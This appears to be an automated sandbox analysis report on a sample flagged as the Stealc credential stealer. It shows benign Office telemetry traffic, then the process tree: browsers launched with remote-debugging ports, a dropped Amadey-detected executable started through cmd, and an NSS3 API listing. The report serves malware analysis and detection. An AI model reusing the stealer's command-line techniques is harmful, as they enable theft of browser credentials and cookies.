xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:26 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:26 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:26 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 0c26b312-d01e-0049-6f07-48e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074426Z-r1cf579d7786c2tshC1EWRr1gc00000001b000000000358b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:26 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:26 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:26 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:26 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 217a7818-401e-00ac-3104-480a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074426Z-r1cf579d7784wpmvhC1EWRk4cn000000016g0000000023nn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-07 07:44:26 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:26 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:26 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:26 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: b8fa7c57-101e-008e-1803-48cf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074426Z-r1cf579d7789trgthC1EWRkkfc00000002bg000000004940 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:26 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:26 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:26 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:26 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: d011e298-d01e-0066-630e-48ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074426Z-r1cf579d7782ctslhC1EWRfbrw00000002b00000000001sz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:26 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:26 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:27 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:27 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: e9c8fd08-f01e-003f-7806-48d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074427Z-r1cf579d77867vg8hC1EWR8knc00000001kg000000002gvf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:27 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:28 UTC	192	OUT	GET /rules/rule700900v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:28 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:28 GMT Content-Type: text/xml Content-Length: 1371 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED3D048D" x-ms-request-id: 1dc1a106-201e-003f-0903-486d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074428Z-r1cf579d778bb9vvhC1EWRs95400000001cg000000001g4f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:28 UTC	1371	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6f 66 69 6e 67 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700900" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProofing" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:28 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:28 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:28 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: 755dc25f-d01e-008e-7004-48387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074428Z-r1cf579d778qlpkrhC1EWRpfc800000002bg000000003x93 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:28 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Target ID:	0
Start time:	02:43:01
Start date:	07/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xdd0000
File size:	5'181'952 bytes
MD5 hash:	63F084EBDC49FDDD2A095CEE8789C100
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2588399898.0000000000DD1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2588399898.0000000000E9C000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2590242793.00000000017FE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:43:10
Start date:	07/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:43:10
Start date:	07/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2296 --field-trial-handle=2188,i,6661159212943075951,5732538178884373032,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:43:20
Start date:	07/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:43:21
Start date:	07/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2544 --field-trial-handle=2460,i,15555307753456093971,14081396310423305561,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:43:21
Start date:	07/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	02:43:21
Start date:	07/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2364 --field-trial-handle=2304,i,17772783766471260241,16238618650825771522,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	02:43:54
Start date:	07/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\GCGHCBKFCF.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	02:43:54
Start date:	07/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	02:43:54
Start date:	07/12/2024
Path:	C:\Users\user\Documents\GCGHCBKFCF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Documents\GCGHCBKFCF.exe"
Imagebase:	0xa20000
File size:	3'203'584 bytes
MD5 hash:	437E5B85872F6D993B380398E86F4A3F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000E.00000002.2622128574.0000000000A21000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	02:43:57
Start date:	07/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x570000
File size:	3'203'584 bytes
MD5 hash:	437E5B85872F6D993B380398E86F4A3F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000002.2658517829.0000000000571000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	02:43:57
Start date:	07/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x570000
File size:	3'203'584 bytes
MD5 hash:	437E5B85872F6D993B380398E86F4A3F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000002.2658671788.0000000000571000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	02:45:00
Start date:	07/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x570000
File size:	3'203'584 bytes
MD5 hash:	437E5B85872F6D993B380398E86F4A3F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000011.00000002.3291607634.0000000000571000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Function 6C636E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C782120,6C637E60), ref: 6C636EBC
TlsGetValue.KERNEL32 ref: 6C636EDF
EnterCriticalSection.KERNEL32(?), ref: 6C636EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6C636F25

Part of subcall function 6C60A900: TlsGetValue.KERNEL32(00000000,?,6C7814E4,?,6C5A4DD9), ref: 6C60A90F
Part of subcall function 6C60A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C60A94F

PR_Unlock.NSS3 ref: 6C636F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6C636FA9
TlsGetValue.KERNEL32 ref: 6C6370B4
EnterCriticalSection.KERNEL32(?), ref: 6C6370C8
PR_CallOnce.NSS3(6C7824C0,6C677590), ref: 6C637104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C637117
SECOID_Init.NSS3 ref: 6C637128
PORT_Alloc_Util.NSS3(00000057), ref: 6C63714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C63717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6371A9
PR_NotifyAllCondVar.NSS3 ref: 6C6371CF
PR_Unlock.NSS3 ref: 6C6371DD
free.MOZGLUE(?), ref: 6C6371EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C637208
free.MOZGLUE(00000000), ref: 6C637221
free.MOZGLUE(00000001), ref: 6C637235
TlsGetValue.KERNEL32 ref: 6C63724A
EnterCriticalSection.KERNEL32(?), ref: 6C63725E
PR_NotifyCondVar.NSS3 ref: 6C637273
PR_Unlock.NSS3 ref: 6C637281
SECMOD_DestroyModule.NSS3(00000000), ref: 6C637291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6372B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6372D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6372E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C637301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C637310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C637335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C637344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C637363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C637372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6C770148,,defaultModDB,internalKeySlot), ref: 6C6374CC
free.MOZGLUE(00000000), ref: 6C637513
free.MOZGLUE(00000000), ref: 6C63751B
free.MOZGLUE(00000000), ref: 6C637528
free.MOZGLUE(00000000), ref: 6C63753C
free.MOZGLUE(00000000), ref: 6C637550
free.MOZGLUE(00000000), ref: 6C637561
free.MOZGLUE(00000000), ref: 6C637572
free.MOZGLUE(00000000), ref: 6C637583
